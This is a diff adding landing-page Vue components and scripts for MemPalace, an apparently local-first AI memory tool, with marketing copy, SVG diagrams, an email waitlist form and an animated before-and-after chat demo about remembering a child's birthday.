+            <line x1="10" y1="70" x2="184" y2="70" stroke-dasharray="1 3" opacity="0.6"/>
+          </svg>
+        </div>
+      </article>
+
+      <article class="stratum">
+        <span class="n">C — closet</span>
+        <h3>The <em>Closets</em></h3>
+        <p class="sub">topics · threads · bundles</p>
+        <p>Inside a room, closets group related drawers by topic or thread. Open one closet and you see every drawer on that subject together — no need to walk the whole room.</p>
+        <div class="diagram">
+          <svg viewBox="0 0 200 80" fill="none" stroke="currentColor" stroke-width="1" style="color:var(--prism);">
+            <g class="closet">
+              <rect x="10" y="14" width="54" height="52" />
+              <line x1="37" y1="14" x2="37" y2="66" opacity="0.5"/>
+              <circle cx="33" cy="40" r="1.2" fill="currentColor"/>
+              <circle cx="41" cy="40" r="1.2" fill="currentColor"/>
+            </g>
+            <g class="closet">
+              <rect x="73" y="14" width="54" height="52" />
+              <line x1="100" y1="14" x2="100" y2="66" opacity="0.5"/>
+              <circle cx="96" cy="40" r="1.2" fill="currentColor"/>
+              <circle cx="104" cy="40" r="1.2" fill="currentColor"/>
+            </g>
+            <g class="closet">
+              <rect x="136" y="14" width="54" height="52" />
+              <line x1="163" y1="14" x2="163" y2="66" opacity="0.5"/>
+              <circle cx="159" cy="40" r="1.2" fill="currentColor"/>
+              <circle cx="167" cy="40" r="1.2" fill="currentColor"/>
+            </g>
+          </svg>
+        </div>
+      </article>
+
+      <article class="stratum">
+        <span class="n">D — drawer</span>
+        <h3>The <em>Drawers</em></h3>
+        <p class="sub">verbatim · permanent · exact</p>
+        <p>Each room holds drawers. A drawer is a single chunk of verbatim content — the exact words, untouched. The palace's promise is kept here.</p>
+        <div class="diagram">
+          <svg viewBox="0 0 200 80" fill="none" stroke="currentColor" stroke-width="1" style="color:var(--prism);">
+            <rect x="40" y="14" width="120" height="16" />
+            <rect x="40" y="34" width="120" height="16" />
+            <rect x="40" y="54" width="120" height="16" />
+            <circle cx="150" cy="22" r="1.5" fill="currentColor"/>
+            <circle cx="150" cy="42" r="1.5" fill="currentColor"/>
+            <circle cx="150" cy="62" r="1.5" fill="currentColor"/>
+          </svg>
+        </div>
+      </article>
+    </div>
+  </section>
+</template>

website/.vitepress/theme/landing/CatalogFooter.vue

@@ -0,0 +1,45 @@
+<template>
+  <footer v-pre class="catalog">
+    <form class="waitlist waitlist-footer" data-source="footer" novalidate>
+      <div class="waitlist-head">
+        <span class="waitlist-pulse" aria-hidden="true"></span>
+        <span class="waitlist-eyebrow">Last call &middot; subscribe for updates</span>
+      </div>
+      <div class="waitlist-row">
+        <input type="email" class="waitlist-input" name="email" placeholder="you@example.com" autocomplete="email" aria-label="Email address" required />
+        <button type="submit" class="waitlist-submit">
+          <span class="waitlist-label-default">Join the list</span>
+          <span class="waitlist-label-pending" aria-hidden="true">Joining…</span>
+          <svg class="waitlist-arrow" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" aria-hidden="true"><path d="M5 12h14M13 6l6 6-6 6"/></svg>
+          <svg class="waitlist-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" aria-hidden="true"><path d="M5 12l5 5 9-11"/></svg>
+        </button>
+      </div>
+      <p class="waitlist-msg" aria-live="polite"></p>
+    </form>
+
+    <div class="catalog-card">
+      <div>
+        <p class="catalog-title">MemPalace <em>&mdash;</em> a memory palace for AI.</p>
+        <p class="catalog-desc">Verbatim storage, local-first, zero telemetry. Built for people who believe their words are theirs.</p>
+      </div>
+      <div>
+        <h4>Documentation</h4>
+        <ul>
+          <li><a href="/guide/getting-started">Getting started</a></li>
+          <li><a href="/concepts/the-palace">The palace</a></li>
+          <li><a href="/reference/cli">CLI reference</a></li>
+          <li><a href="/reference/benchmarks">Benchmarks</a></li>
+        </ul>
+      </div>
+      <div>
+        <h4>The project</h4>
+        <ul>
+          <li><a href="https://github.com/MemPalace/mempalace">GitHub</a></li>
+          <li><a href="https://github.com/MemPalace/mempalace/blob/main/README.md">Readme</a></li>
+          <li><a href="https://github.com/MemPalace/mempalace/blob/main/ROADMAP.md">Roadmap</a></li>
+          <li><a href="https://github.com/MemPalace/mempalace/blob/main/CHANGELOG.md">Changelog</a></li>
+        </ul>
+      </div>
+    </div>
+  </footer>
+</template>

website/.vitepress/theme/landing/DialectSection.vue

@@ -0,0 +1,64 @@
+<template>
+  <section v-pre id="dialect" class="dialect">
+    <div class="section-mark"><span class="roman">iii</span> <span>the aaak dialect</span></div>
+
+    <div class="dialect-head">
+      <span class="eyebrow">index &larr; verbatim</span>
+      <h2 class="display">
+        A compressed symbolic language <em>for finding</em>, not remembering.
+      </h2>
+      <p class="lede">
+        The content stays verbatim — always. The <em>index</em> above it is written
+        in AAAK: a dense symbolic dialect an LLM can scan at a glance. Thousands
+        of entries, one pass, exact drawer located.
+      </p>
+    </div>
+
+    <div class="dialect-grid">
+      <article class="slab">
+        <header class="card-head">
+          <span class="l">drawer · D-007</span>
+          <span>verbatim · exact · permanent</span>
+        </header>
+        <p class="label">The drawer, as stored.</p>
+        <p>
+          "My son's name is <strong>Noah</strong>. He turns <strong>six</strong>
+          on <strong>September 12th</strong>. He loves dinosaurs —
+          especially the <strong>therizinosaurus</strong> because of the
+          claws. We want to do a small party at <strong>the park on Glebe
+          Point Road</strong>, maybe eight kids."
+        </p>
+        <p style="color:var(--ice-ghost); font-size: 13.5px; font-family: var(--f-mono); letter-spacing: 0.05em; margin-top:1.5rem;">
+          &mdash; kept as spoken. never rewritten.
+        </p>
+      </article>
+
+      <div class="dialect-arrow" aria-hidden="true">
+        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.3">
+          <path d="M12 3v18M7 8l5-5 5 5M7 16l5 5 5-5"/>
+        </svg>
+        <span>index · AAAK</span>
+      </div>
+
+      <article class="slab mono">
+        <header class="card-head">
+          <span class="l">index · AAAK</span>
+          <span>indexes · compressed · addressable</span>
+        </header>
+        <p class="label">The pointer, as indexed.</p>
+<pre><span class="c">§ W-042/R-11/D-007</span>
+<span class="k">@p</span> <span class="t">noah</span>~<span class="v">son.age=6</span>~<span class="v">dob=09-12</span>
+<span class="k">@l</span> <span class="t">glebe-pt-rd.park</span>
+<span class="k">@e</span> <span class="t">birthday</span>~<span class="v">party(n≈8)</span>
+<span class="k">@i</span> <span class="t">therizinosaurus</span>~<span class="v">claws</span>
+<span class="k">@t</span> <span class="v">2026-04-14T09:41</span>
+<span class="c">§ ptr → D-007 (verbatim)</span></pre>
+      </article>
+    </div>
+
+    <p class="dialect-caption">
+      Dense compression on the pointer layer. Full fidelity on the content
+      layer. You get speed without ever losing a word.
+    </p>
+  </section>
+</template>

website/.vitepress/theme/landing/FolioHeader.vue

@@ -0,0 +1,16 @@
+<template>
+  <header v-pre class="folio" role="banner">
+    <div class="mark" aria-label="MemPalace">
+      <img src="/mempalace_logo.png" alt="" aria-hidden="true" />
+      <span>MemPalace</span>
+    </div>
+    <nav class="right" aria-label="Primary">
+      <a href="#anatomy" class="hide-mobile">Anatomy</a>
+      <a href="#dialect" class="hide-mobile">Dialect</a>
+      <a href="#mechanics" class="hide-mobile">Mechanics</a>
+      <a href="#install" class="hide-mobile">Install</a>
+      <a href="/guide/getting-started">Docs</a>
+      <a href="https://github.com/MemPalace/mempalace">GitHub ↗</a>
+    </nav>
+  </header>
+</template>

website/.vitepress/theme/landing/ForgettingSection.vue

@@ -0,0 +1,43 @@
+<template>
+  <section v-pre id="forgetting" class="forgetting">
+    <div class="section-mark"><span class="roman">i</span> <span>the forgetting</span></div>
+
+    <header class="forgetting-head">
+      <div class="copy">
+        <span class="eyebrow">before &middot; after</span>
+        <h2 class="display">
+          The same conversation, <em>twice.</em>
+        </h2>
+        <p class="lede" style="margin:0;">
+          Scroll down and watch. On the left, a model without memory. On the right,
+          the same model with MemPalace. The words are identical — until two weeks
+          pass.
+        </p>
+      </div>
+      <button class="replay" id="replay-demo" type="button" aria-label="Replay the demo">
+        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" aria-hidden="true"><path d="M4 4v6h6"/><path d="M20 20v-6h-6"/><path d="M4 10a8 8 0 0114-5l2 3"/><path d="M20 14a8 8 0 01-14 5l-2-3"/></svg>
+        replay
+      </button>
+    </header>
+
+    <div class="forgetting-compare" id="forgetting-compare" aria-label="Comparison demo">
+      <article class="demo-pane demo-forget">
+        <header>
+          <span class="pane-tag">without mempalace</span>
+          <span class="pane-meta">session <em>resets</em> &middot; no recall</span>
+        </header>
+        <div class="chat" data-pane="forget" aria-live="polite"></div>
+      </article>
+
+      <div class="divider" aria-hidden="true"></div>
+
+      <article class="demo-pane demo-remember">
+        <header>
+          <span class="pane-tag">with mempalace</span>
+          <span class="pane-meta">verbatim &middot; retrieved <em>instantly</em></span>
+        </header>
+        <div class="chat" data-pane="remember" aria-live="polite"></div>
+      </article>
+    </div>
+  </section>
+</template>

website/.vitepress/theme/landing/HeroSection.vue

@@ -0,0 +1,80 @@
+<template>
+  <section v-pre class="hero" id="hero">
+    <span class="corner-ticks" aria-hidden="true"><span></span></span>
+
+    <div class="hero-inner">
+      <div class="hero-copy">
+        <h1 class="display">
+          <span class="line">Memory <em class="is-accent">is</em></span>
+          <span class="line line-2"><span class="identity-white">identity.</span></span>
+        </h1>
+        <p class="lede">
+          Every conversation, every idea, every small decision&hellip; held somewhere safe.
+          <br><br>Welcome to the future of memory: <span class="mp-blue">MemPalace</span>
+        </p>
+        <form class="waitlist waitlist-hero" data-source="hero" novalidate>
+          <div class="waitlist-head">
+            <span class="waitlist-pulse" aria-hidden="true"></span>
+            <span class="waitlist-eyebrow">Subscribe for updates</span>
+          </div>
+          <div class="waitlist-row">
+            <input
+              type="email"
+              class="waitlist-input"
+              name="email"
+              placeholder="you@example.com"
+              autocomplete="email"
+              aria-label="Email address"
+              required
+            />
+            <button type="submit" class="waitlist-submit">
+              <span class="waitlist-label-default">Join the list</span>
+              <span class="waitlist-label-pending" aria-hidden="true">Joining…</span>
+              <svg class="waitlist-arrow" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" aria-hidden="true">
+                <path d="M5 12h14M13 6l6 6-6 6"/>
+              </svg>
+              <svg class="waitlist-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" aria-hidden="true">
+                <path d="M5 12l5 5 9-11"/>
+              </svg>
+            </button>
+          </div>
+          <p class="waitlist-msg" aria-live="polite"></p>
+        </form>
+
+        <div class="hero-secondary">
+          <a href="/guide/getting-started">Read the docs</a>
+          <span class="sep" aria-hidden="true">·</span>
+          <a href="https://github.com/MemPalace/mempalace">GitHub ↗</a>
+        </div>
+      </div>
+
+      <!-- Palace video visual -->
+      <div class="palace-stage" aria-hidden="true">
+        <div class="halo"></div>
+
+        <div class="stars">
+          <i style="top:12%; left:22%;  --t:5s;   --d:0.0s"></i>
+          <i style="top:18%; left:74%;  --t:6s;   --d:1.2s"></i>
+          <i style="top:34%; left:8%;   --t:4s;   --d:0.6s"></i>
+          <i style="top:44%; left:88%;  --t:7s;   --d:0.3s"></i>
+          <i style="top:62%; left:14%;  --t:5.5s; --d:1.8s"></i>
+          <i style="top:72%; left:82%;  --t:4.5s; --d:0.9s"></i>
+          <i style="top:82%; left:38%;  --t:6.2s; --d:2.4s"></i>
+          <i style="top:28%; left:52%;  --t:5.2s; --d:3.0s"></i>
+          <i style="top:88%; left:60%;  --t:4.8s; --d:1.5s"></i>
+          <i style="top:6%;  left:48%;  --t:6.8s; --d:0.4s"></i>
+        </div>
+
+        <video
+          class="palace-video"
+          src="/hero_video.mp4"
+          autoplay
+          muted
+          loop
+          playsinline
+          disablepictureinpicture
+        ></video>
+      </div>
+    </div>
+  </section>
+</template>

website/.vitepress/theme/landing/InstallSection.vue

@@ -0,0 +1,38 @@
+<template>
+  <section v-pre id="install" class="install">
+    <div class="section-mark" style="left:50%; transform:translateX(-50%);"><span class="roman">v</span> <span>begin</span></div>
+    <span class="eyebrow" style="justify-content:center;">open a drawer</span>
+    <h2 class="display">
+      Build your <em>palace.</em>
+    </h2>
+    <p class="lede" style="margin-left:auto;margin-right:auto;text-align:center;">
+      One command to install. One to initialize. Your words — yours, permanent,
+      instantly recallable — from that moment on.
+    </p>
+
+    <div class="terminal" role="figure" aria-label="Installation commands">
+      <div class="terminal-head">
+        <span class="lights"><i></i><i></i><i></i></span>
+        <span>~/mempalace &middot; bash</span>
+      </div>
+<pre><span class="prompt">$</span> pip install -e <span class="dim">".[dev]"</span>
+<span class="c">Successfully installed mempalace</span>
+<span class="prompt">$</span> mempalace init
+<span class="ok">  ✓</span> palace created at <span class="dim">~/.mempalace</span>
+<span class="ok">  ✓</span> hooks registered <span class="dim">(stop, precompact)</span>
+<span class="ok">  ✓</span> knowledge graph initialized
+<span class="prompt">$</span> mempalace mine <span class="dim">./notes</span>
+<span class="ok">  ✓</span> filed · <span class="c">W-001/R-01/D-001</span></pre>
+    </div>
+
+    <div class="install-cta">
+      <a href="/guide/getting-started" class="btn btn-primary">
+        Read the docs
+        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5"><path d="M5 12h14M13 6l6 6-6 6"/></svg>
+      </a>
+      <a href="https://github.com/MemPalace/mempalace" class="btn">
+        Visit the repository
+      </a>
+    </div>
+  </section>
+</template>

website/.vitepress/theme/landing/MechanicsSection.vue

@@ -0,0 +1,83 @@
+<template>
+  <section v-pre id="mechanics">
+    <div class="section-mark"><span class="roman">iv</span> <span>how it works</span></div>
+
+    <div class="mechanics-head">
+      <span class="eyebrow">mechanism · architecture</span>
+      <h2 class="display">
+        Four pieces. <em>No cloud.</em> No keys.
+      </h2>
+    </div>
+
+    <div class="mechanics">
+      <article class="mech">
+        <div class="icon" aria-hidden="true">
+          <svg viewBox="0 0 48 48" fill="none" stroke="currentColor" stroke-width="1.3">
+            <rect x="8" y="10" width="32" height="22" rx="1"/>
+            <path d="M8 16h32"/>
+            <g class="mech-bars">
+              <path d="M14 24h20"/>
+              <path d="M14 28h12"/>
+            </g>
+            <path d="M16 38h16M20 32v6M28 32v6"/>
+            <circle class="mech-led" cx="36" cy="13.5" r="1.1" fill="currentColor"/>
+          </svg>
+        </div>
+        <span class="eyebrow no-rule"><span class="n">— 01</span></span>
+        <h3>Local-<em>first</em></h3>
+        <p>ChromaDB on disk. SQLite for the knowledge graph. Nothing is uploaded. Nothing is synced. Your palace lives under a single directory on your machine.</p>
+        <div class="metric">path · <b>~/.mempalace</b></div>
+      </article>
+
+      <article class="mech">
+        <div class="icon" aria-hidden="true">
+          <svg viewBox="0 0 48 48" fill="none" stroke="currentColor" stroke-width="1.3">
+            <circle class="mech-ring" cx="24" cy="24" r="14"/>
+            <path class="mech-plus" d="M16 24h16M24 16v16"/>
+            <path class="mech-slash" d="M10 10l28 28" stroke-width="1.5"/>
+          </svg>
+        </div>
+        <span class="eyebrow no-rule"><span class="n">— 02</span></span>
+        <h3>Zero <em>API</em></h3>
+        <p>Extraction, chunking, and embedding all run locally. No OpenAI key, no Anthropic key, no sentence-transformers endpoint. The memory works even offline, on a plane.</p>
+        <div class="metric">keys required · <b>none</b></div>
+      </article>
+
+      <article class="mech">
+        <div class="icon" aria-hidden="true">
+          <svg viewBox="0 0 48 48" fill="none" stroke="currentColor" stroke-width="1.3">
+            <path d="M8 36V18l8-8h16l8 8v18"/>
+            <path d="M8 36h32"/>
+            <g class="mech-gear">
+              <circle cx="24" cy="26" r="4"/>
+              <path d="M24 22v-4M24 30v4M20 26h-4M28 26h4"/>
+            </g>
+          </svg>
+        </div>
+        <span class="eyebrow no-rule"><span class="n">— 03</span></span>
+        <h3>Background <em>hooks</em></h3>
+        <p>Filing and indexing happen silently through Claude Code hooks. On session end, on pre-compaction. You write. The palace fills itself behind the curtain.</p>
+        <div class="metric">hook budget · <b>&lt;500 ms</b></div>
+      </article>
+
+      <article class="mech">
+        <div class="icon" aria-hidden="true">
+          <svg viewBox="0 0 48 48" fill="none" stroke="currentColor" stroke-width="1.3">
+            <path class="mech-edges" d="M12 14l10 10M36 12L26 24M14 36l8-8M36 34l-10-6" opacity="0.6"/>
+            <g class="mech-nodes">
+              <circle cx="10" cy="12" r="3"/>
+              <circle cx="38" cy="10" r="3"/>
+              <circle cx="24" cy="26" r="3"/>
+              <circle cx="12" cy="38" r="3"/>
+              <circle cx="38" cy="36" r="3"/>
+            </g>
+          </svg>
+        </div>
+        <span class="eyebrow no-rule"><span class="n">— 04</span></span>
+        <h3>Temporal <em>graph</em></h3>
+        <p>Relationships across entities with valid-from and valid-to dates. Who worked on what. When did this change. Facts that were true then, and may not be now.</p>
+        <div class="metric">store · <b>sqlite</b></div>
+      </article>
+    </div>
+  </section>
+</template>

website/.vitepress/theme/landing/useLandingEffects.js

@@ -0,0 +1,406 @@
+import { onMounted, onBeforeUnmount } from 'vue'
+
+export function useLandingEffects() {
+// Shared cleanup registry — IIFEs push disconnect/removeEventListener thunks
+// here so onBeforeUnmount can tear everything down on SPA nav.
+const cleanups = []
+
+onMounted(() => {
+  if (typeof document === 'undefined') return
+
+  // Hide VitePress chrome while the landing component is live, restore on leave.
+  document.body.classList.add('mempalace-active')
+
+  /* ---------- Waitlist submission ---------- */
+  ;(function initWaitlist(){
+    const ENDPOINT = 'https://br.staging.mempalaceofficial.com/waitlist'
+    const forms = document.querySelectorAll('.mempalace-landing .waitlist')
+    const emailRe = /^[^\s@]+@[^\s@]+\.[^\s@]+$/
+
+    forms.forEach(form => {
+      const input  = form.querySelector('.waitlist-input')
+      const button = form.querySelector('.waitlist-submit')
+      const msg    = form.querySelector('.waitlist-msg')
+      const source = form.dataset.source || 'landing'
+
+      function setState(state, text) {
+        form.classList.remove('is-pending', 'is-success', 'is-error')
+        if (state) form.classList.add('is-' + state)
+        if (text != null) msg.textContent = text
+      }
+
+      const onSubmit = async (e) => {
+        e.preventDefault()
+        if (form.classList.contains('is-success') || form.classList.contains('is-pending')) return
+
+        const email = (input.value || '').trim()
+        if (!emailRe.test(email)) {
+          setState('error', 'Please provide a valid email address.')
+          input.focus()
+          return
+        }
+
+        setState('pending', 'Sending…')
+        button.disabled = true
+        input.disabled = true
+
+        try {
+          const res = await fetch(ENDPOINT, {
+            method: 'POST',
+            headers: { 'Content-Type': 'application/json' },
+            body: JSON.stringify({ email, source })
+          })
+          let data = null
+          try { data = await res.json() } catch (_) { /* no body */ }
+
+          if (res.ok) {
+            setState('success', (data && data.message) || "Success! You're on the list for updates.")
+            // keep inputs disabled so they can't resubmit accidentally
+            input.value = email
+            return
+          }
+
+          if (res.status === 429) {
+            setState('error', 'Whoa — slow down a moment, then try again.')
+          } else if (res.status === 400) {
+            setState('error', (data && data.message) || 'Please provide a valid email address.')
+          } else {
+            setState('error', (data && data.message) || 'Something went wrong. Please try again later.')
+          }
+          button.disabled = false
+          input.disabled = false
+        } catch (_err) {
+          setState('error', 'Network error — please try again.')
+          button.disabled = false
+          input.disabled = false
+        }
+      }
+
+      const onInput = () => {
+        if (form.classList.contains('is-error')) setState(null, '')
+      }
+
+      form.addEventListener('submit', onSubmit)
+      input.addEventListener('input', onInput)
+      cleanups.push(() => {
+        form.removeEventListener('submit', onSubmit)
+        input.removeEventListener('input', onInput)
+      })
+    })
+  })()
+
+
+
+  /* ---------- Reveal-on-scroll for cards ---------- */
+  ;(function(){
+    if (!('IntersectionObserver' in window)) return
+    const items = document.querySelectorAll('.mempalace-landing .stratum, .mempalace-landing .mech, .mempalace-landing .slab')
+    items.forEach(el => {
+      el.style.opacity = '0'
+      el.style.transform = 'translateY(20px)'
+      el.style.transition = 'opacity 0.9s ease, transform 0.9s ease'
+    })
+    const io = new IntersectionObserver((entries) => {
+      entries.forEach((entry) => {
+        if (entry.isIntersecting){
+          const idx = [...entry.target.parentElement.children].indexOf(entry.target)
+          entry.target.style.transitionDelay = (idx * 80) + 'ms'
+          entry.target.style.opacity = '1'
+          entry.target.style.transform = 'translateY(0)'
+          io.unobserve(entry.target)
+        }
+      })
+    }, { rootMargin: '0px 0px -80px 0px' })
+    items.forEach(el => io.observe(el))
+    cleanups.push(() => io.disconnect())
+  })()
+
+  /* ---------- Forgetting demo ---------- */
+  ;(function initForgettingDemo(){
+    const compare = document.getElementById('forgetting-compare')
+    if (!compare) return
+    const leftChat  = compare.querySelector('[data-pane="forget"]')
+    const rightChat = compare.querySelector('[data-pane="remember"]')
+    const replayBtn = document.getElementById('replay-demo')
+    const reduced   = window.matchMedia('(prefers-reduced-motion: reduce)').matches
+
+    const delay = ms => new Promise(r => setTimeout(r, reduced ? Math.min(ms, 60) : ms))
+
+    function clear() {
+      leftChat.innerHTML = ''
+      rightChat.innerHTML = ''
+      if (replayBtn) replayBtn.classList.remove('visible')
+    }
+
+    function addMsg(chat, who, opts = {}) {
+      const row = document.createElement('div')
+      row.className = 'msg ' + (who === 'You' ? 'you' : 'ai')
+      if (opts.id) row.dataset.id = opts.id
+      row.innerHTML = '<span class="who">' + who + '</span><span class="body"></span>'
+      chat.appendChild(row)
+      chat.scrollTop = chat.scrollHeight
+      return row
+    }
+
+    async function typeInto(row, text, speed = 14) {
+      const body = row.querySelector('.body')
+      const parts = text.split(/(<[^>]+>)/)
+      row.classList.add('typing')
+      for (const part of parts) {
+        if (!part) continue
+        if (part.startsWith('<')) { body.insertAdjacentHTML('beforeend', part); continue }
+        for (const ch of part) {
+          body.insertAdjacentText('beforeend', ch)
+          if (!reduced) await delay(speed + (Math.random() < 0.08 ? 40 : 0))
+        }
+      }
+      row.classList.remove('typing')
+    }
+
+    function addDivider(chat, text) {
+      const d = document.createElement('div')
+      d.className = 'divider-time'
+      d.textContent = '— ' + text + ' —'
+      chat.appendChild(d)
+      return d
+    }
+
+    function addRetrieval(chat, callNumber, ms) {
+      const row = document.createElement('div')
+      row.className = 'retrieval'
+      row.innerHTML =
+        '<span class="who">mem</span>' +
+        '<span class="l">retrieved &middot; <span class="r">' + callNumber + '</span></span>' +
+        '<span>' + ms + '&nbsp;ms</span>'
+      chat.appendChild(row)
+      return row
+    }
+
+    function addStamp(chat, text, callNumber) {
+      const el = document.createElement('div')
+      el.className = 'stamp'
+      el.innerHTML = '<span>— ' + text + '</span>' +
+        (callNumber ? '<span class="call">' + callNumber + '</span>' : '')
+      chat.appendChild(el)
+      return el
+    }
+
+    function disintegrate(target) {
+      return new Promise(resolve => {
+        const parent = target.closest('.chat')
+        if (!parent) { resolve(); return }
+        const parentRect = parent.getBoundingClientRect()
+        const style = getComputedStyle(target)
+        const font = style.font ||
+          (style.fontStyle + ' ' + style.fontWeight + ' ' + style.fontSize + '/' + style.lineHeight + ' ' + style.fontFamily)
+        const color = style.color
+
+        let overlay = parent.querySelector('.dust-overlay')
+        if (!overlay) {
+          overlay = document.createElement('div')
+          overlay.className = 'dust-overlay'
+          parent.appendChild(overlay)
+        }
+
+        const walker = document.createTreeWalker(target, NodeFilter.SHOW_TEXT)
+        const range = document.createRange()
+        const spans = []
+        let node
+        while ((node = walker.nextNode())) {
+          const chars = node.textContent
+          for (let i = 0; i < chars.length; i++) {
+            if (chars[i] === ' ') continue
+            range.setStart(node, i)
+            range.setEnd(node, i + 1)
+            const r = range.getBoundingClientRect()
+            if (r.width === 0 || r.height === 0) continue
+            const span = document.createElement('span')
+            span.className = 'dust'
+            span.textContent = chars[i]
+            span.style.left = (r.left - parentRect.left) + 'px'
+            span.style.top  = (r.top  - parentRect.top)  + 'px'
+            span.style.width  = r.width  + 'px'
+            span.style.height = r.height + 'px'
+            span.style.font = font
+            span.style.color = color
+            span.style.opacity = '1'
+            span.style.transform = 'translate(0,0)'
+            span.style.transitionDuration = (1500 + Math.random() * 900) + 'ms'
+            overlay.appendChild(span)
+            spans.push(span)
+          }
+        }
+
+        target.style.transition = 'color 0.35s ease, opacity 0.35s ease'
+        target.style.color = 'transparent'
+
+        void overlay.offsetHeight
+        const cx = parentRect.width / 2
+        spans.forEach((s) => {
+          s.style.transitionDelay = (Math.random() * 500) + 'ms'
+          const x0 = parseFloat(s.style.left)
+          const dx = (x0 - cx) * 0.06 + (Math.random() - 0.5) * 36
+          const dy = 30 + Math.random() * 80
+          const rot = (Math.random() - 0.5) * 44
+          s.style.transform = 'translate(' + dx + 'px,' + dy + 'px) rotate(' + rot + 'deg)'
+          s.style.opacity = '0'
+          s.style.filter = 'blur(2px)'
+        })
+
+        setTimeout(() => {
+          spans.forEach(s => s.remove())
+          resolve()
+        }, reduced ? 200 : 2600)
+      })
+    }
+
+    const NOAH_TEXT = "My son's name is Noah. He turns six on September 12th."
+
+    async function runForget() {
+      const you1 = addMsg(leftChat, 'You', { id: 'noah' })
+      await delay(200)
+      await typeInto(you1, NOAH_TEXT, 16)
+      await delay(500)
+      const ai1 = addMsg(leftChat, 'Model')
+      await typeInto(ai1, "Noted. I'll remember that for next time we talk.", 14)
+      await delay(900)
+      addDivider(leftChat, 'two weeks later')
+      await delay(700)
+      const you2 = addMsg(leftChat, 'You')
+      await typeInto(you2, "Help me plan Noah's birthday.", 18)
+      await delay(700)
+      const target = leftChat.querySelector('.msg[data-id="noah"] .body')
+      if (target) await disintegrate(target)
+      await delay(250)
+      const ai2 = addMsg(leftChat, 'Model')
+      await typeInto(ai2, "Of course. Who is Noah? How old is he turning?", 16)
+      await delay(500)
+      addStamp(leftChat, 'forgotten.')
+    }
+
+    async function runRemember() {
+      const you1 = addMsg(rightChat, 'You', { id: 'noah' })
+      await delay(200)
+      await typeInto(you1, NOAH_TEXT, 16)
+      await delay(500)
+      const ai1 = addMsg(rightChat, 'Model')
+      await typeInto(ai1, "Noted. Filed — <strong>W-042/R-01/D-003</strong>.", 14)
+      await delay(900)
+      addDivider(rightChat, 'two weeks later')
+      await delay(700)
+      const you2 = addMsg(rightChat, 'You')
+      await typeInto(you2, "Help me plan Noah's birthday.", 18)
+      await delay(600)
+      addRetrieval(rightChat, 'W-042/R-01/D-003', 42)
+      await delay(700)
+      const ai2 = addMsg(rightChat, 'Model')
+      await typeInto(ai2,
+        "Of course — <strong>Noah</strong> turns <strong>six</strong> on <strong>September 12th</strong>. " +
+        "You mentioned he loves the <strong>therizinosaurus</strong>, and a park on " +
+        "<strong>Glebe Point Road</strong>. Shall we build from there?",
+        11)
+      await delay(500)
+      addStamp(rightChat, 'remembered.', 'W-042/R-01/D-003')
+    }
+
+    let running = { forget: false, remember: false }
+    let started = { forget: false, remember: false }
+
+    async function runBoth() {
+      if (running.forget || running.remember) return
+      running.forget = running.remember = true
+      started.forget = started.remember = true
+      clear()
+      await delay(200)
+      await Promise.all([runForget(), runRemember()])
+      running.forget = running.remember = false
+      if (replayBtn) replayBtn.classList.add('visible')
+    }
+
+    async function runSide(side) {
+      if (running[side] || started[side]) return
+      running[side] = true
+      started[side] = true
+      const chat = side === 'forget' ? leftChat : rightChat
+      chat.innerHTML = ''
+      await delay(200)
+      await (side === 'forget' ? runForget() : runRemember())
+      running[side] = false
+      if (started.forget && started.remember && !running.forget && !running.remember && replayBtn) {
+        replayBtn.classList.add('visible')
+      }
+    }
+
+    function resetAll() {
+      started.forget = started.remember = false
+      clear()
+    }
+
+    const stackedMQ = window.matchMedia('(max-width: 900px)')
+    const isStacked = () => stackedMQ.matches
+
+    function observeOnce(el, onReach) {
+      if (!('IntersectionObserver' in window)) { onReach(); return null }
+      let done = false
+      const io = new IntersectionObserver((entries) => {
+        entries.forEach(entry => {
+          if (done || !entry.isIntersecting) return
+          const rect = entry.boundingClientRect
+          const elementCoverage  = entry.intersectionRatio
+          const viewportCoverage = entry.intersectionRect.height / window.innerHeight
+          const mostlyVisible  = elementCoverage >= 0.65
+          const dominatesView  = viewportCoverage >= 0.60 && rect.top <= window.innerHeight * 0.15
+          if (mostlyVisible || dominatesView) {
+            done = true
+            onReach()
+            io.disconnect()
+          }
+        })
+      }, {
+        threshold: [0.1, 0.25, 0.4, 0.55, 0.7, 0.85, 1.0],
+        rootMargin: '-8% 0px -8% 0px'
+      })
+      io.observe(el)
+      return io
+    }
+
+    let observers = []
+    function disconnectObservers() {
+      observers.forEach(io => io && io.disconnect())
+      observers = []
+    }
+
+    function armObservers() {
+      disconnectObservers()
+      if (isStacked()) {
+        observers.push(observeOnce(compare.querySelector('.demo-forget'),   () => runSide('forget')))
+        observers.push(observeOnce(compare.querySelector('.demo-remember'), () => runSide('remember')))
+      } else {
+        observers.push(observeOnce(compare, runBoth))
+      }
+    }
+
+    const onReplayClick = () => {
+      resetAll()
+      armObservers()
+    }
+    if (replayBtn) replayBtn.addEventListener('click', onReplayClick)
+
+    armObservers()
+
+    cleanups.push(() => {
+      disconnectObservers()
+      if (replayBtn) replayBtn.removeEventListener('click', onReplayClick)
+    })
+  })()
+})
+
+onBeforeUnmount(() => {
+  if (typeof document === 'undefined') return
+  document.body.classList.remove('mempalace-active')
+  while (cleanups.length) {
+    const fn = cleanups.pop()
+    try { fn() } catch (_) { /* swallow — teardown best-effort */ }
+  }
+})
+}

website/.vitepress/theme/style.css

@@ -1,67 +1,73 @@
 /* ── MemPalace Custom Theme ──────────────────────────────────────────── */
-/* Deep indigo / cyan palette — evoking architectural grandeur          */
+/* Crystal Lattice palette — crystalline cyan through deep blue-black    */
 
 :root {
-  /* Brand palette */
-  --mp-indigo: #4f46e5;
-  --mp-indigo-light: #6366f1;
-  --mp-indigo-dark: #3730a3;
-  --mp-cyan: #06b6d4;
-  --mp-cyan-light: #22d3ee;
-  --mp-purple: #8b5cf6;
-  --mp-purple-light: #a78bfa;
-  --mp-emerald: #10b981;
-  --mp-amber: #f59e0b;
+  /* Crystal Lattice palette */
+  --mp-bg: #080C18;
+  --mp-surface: #0F1524;
+  --mp-surface-high: #182033;
+  --mp-border: #1C2640;
+  --mp-border-soft: #121829;
+  --mp-cyan: #7DD3FC;
